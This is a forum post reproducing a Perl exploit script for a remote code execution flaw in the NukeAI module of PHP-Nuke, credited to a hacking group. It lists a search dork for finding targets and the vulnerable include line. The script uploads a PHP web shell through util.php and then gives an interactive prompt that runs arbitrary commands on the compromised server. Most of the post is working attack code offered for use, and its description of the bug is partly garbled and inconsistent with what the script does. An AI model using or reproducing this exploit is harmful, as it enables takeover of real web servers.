PHP-Nuke NukeAI Module 3b (util.php)

Kod:

#!/usr/bin/perl
#
+-------------------------------------------------------------------------------------------
# + nukeai beta3 (util.php) Remote Code Execution Vulnerability
#
+-------------------------------------------------------------------------------------------
# + Affected Software .: nukeai beta3
# + Download ..........: http://mesh.dl.sourceforge.net/sourceforge/nukeai/nukeai_beta3.zip
# + Dork ..............: "nukeai beta3"
# + Class .............: Remote Code Execution
# + Risk ..............: High (Remote Code Execution)
# + Exploit:http://[target]/[path]/modules/NukeAI/util.php?AIbasedir=http://
# +-------------------------------------------------------------------------------------------
# + Details:
# + nukeai beta3 Download by default installation doesn't prevent any of the files in the
# + modules/NukeAI directory from being accessed by a client. The modules/NukeAI
# + file takes input passed to the script by util.php and writes it to $_POST["filename"].0
# + unsanatized in the modules/NukeAI descriptions directory.
# +
# + Vulnerable Code:
# +require_once $AIbasedir."/NukeAI/util.php";
# +-------------------------------------------------------------------------------------------
# Example: http://[site]/modules/NukeAI/util.php?AIbasedir=[php shell]

use Getopt::Long;
use URI::Escape;
use IO::Socket;

$code = "<?php passthru(\$_GET[cmd]); ?>";

main();

sub usage
{
print "DeltahackingSecurityTEAM\n";
print "www.deltahacking.net\n";
print "Dr.Trojan,HIV++,D_7j,Lord,VPc,IMpostor,Dr.Pantagon\n";
print " http://advistory.deltahacking.net((we Bug))\n";
print "\nukeai beta3 Remote Code Execution Exploit\n";
print "-h, --host\ttarget host\t(example.com)\n";
print "-f, --file\tshell file\t(shell.php)\n";
print "-d, --dir\tinstall dir\t(/NukeAI)\n";
print "============================================================================farzad.sharifi\r\n";
exit;
}

sub main
{
GetOptions ('h|host=s' => \$host,'f|file=s' => \$file,'d|dir=s' => \$dir);
usage() unless $host;

$dir = "/NukeAI" unless $dir;
$file = "shell.php" unless $file;
uri_escape($cmd);
$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80") or die "\nconnect() failed.\n";

print "\nconnected to ".$host.", sending data.\n";
$sendurl = "description=0&moreinfo=".$code."&accesses=0&filename=".$file."&date=&B1=Submit";
$sendlen = length($sendurl);
print $sock "POST ".$dir."NukeAI/util.php?AIbasedir= HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Connection: close\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-Length: ".$sendlen."\n\n";
print $sock $sendurl;
print "attempted to create php shell, server response:\n\n";
while($recvd = <$sock>)
{
print " ".$recvd."";
}

while($cmd !~ "~quit")
{
print "\n\n-> ";
$cmd = <STDIN>;
if ($cmd !~ "~quit")
{
$sock = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>"80")
or die "connect() failed.\n";
$sendurl = uri_escape($cmd);

print $sock "GET ".$dir."/descriptions/".$file.".0?cmd=".$sendurl." HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Accept: */*\n";
print $sock "Connection: close\n\n";
print "\n";

while($recvd = <$sock>)
{
print $recvd;
}
}
}
exit;
}

# undergr0und.net [2006-11-24]
# aAndrei

Post został pochwalony 0 razy